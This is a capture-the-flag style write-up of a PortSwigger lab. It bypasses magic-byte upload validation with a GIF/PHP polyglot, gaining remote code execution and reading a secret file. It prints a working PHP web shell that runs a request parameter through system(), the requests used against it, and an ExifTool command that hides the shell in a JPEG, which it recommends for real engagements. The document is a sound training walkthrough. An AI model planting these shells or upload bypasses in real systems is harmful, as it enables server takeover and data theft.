Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type File Upload Vulnerabilities
Difficulty Practitioner
Objective Bypass magic-byte file content validation by creating a polyglot PHP/image file, then use it to read /home/carlos/secret

Remote Code Execution via Polyglot Web Shell Upload

Uploading tetoshell.php directly returned:

Error: file is not a valid image
Screenshot

Content-Type spoofing, extension tricks, and null bytes won't help here — the server reads the actual file bytes and checks the signature. This is magic-byte validation: checking the file signature at the start of the data rather than just the filename. Better than no validation, but not sufficient on its own. Checking GIF8 at the start confirms the file begins like a GIF — it says nothing about what follows.

A polyglot file satisfies two format validators simultaneously. PHP is an embedded language that ignores everything outside <?php ... ?> tags — the interpreter scans for the opening tag and executes from there, stepping over GIF headers, EXIF data, or binary garbage without complaint. If we prepend valid image magic bytes before the PHP payload, the file validator sees a GIF and the PHP interpreter finds its tag.

GIF's magic bytes (GIF87a / GIF89a) are ASCII-printable, making GIF8; at the start enough to satisfy many magic-byte checks. I created a file with the GIF signature followed immediately by the web shell:

GIF8;
<?php 
if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }
?>

Uploaded as tetoshell2.php — the validator sees GIF8, the file stores with .php, and the extension is what actually controls whether PHP executes it.

Screenshot
The file avatars/tetoshell2.php has been uploaded.
/files/avatars/tetoshell2.php?cmd=whoami
Screenshot
GIF8;

carlos

The GIF header passed through as literal output (PHP skipped it), and whoami executed below it. Reading the secret:

/files/avatars/tetoshell2.php?cmd=cat /home/carlos/secret
Screenshot
Screenshot

The official solution uses ExifTool to embed PHP inside a real JPEG's EXIF metadata, producing a file that passes stricter validators that parse actual JPEG structure rather than just checking magic bytes:

exiftool -Comment="<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>" teto.jpg -o teto.php

The GIF8; prefix trick works against weak validators; ExifTool is the production-grade approach for real engagements.

Lab solved

Resources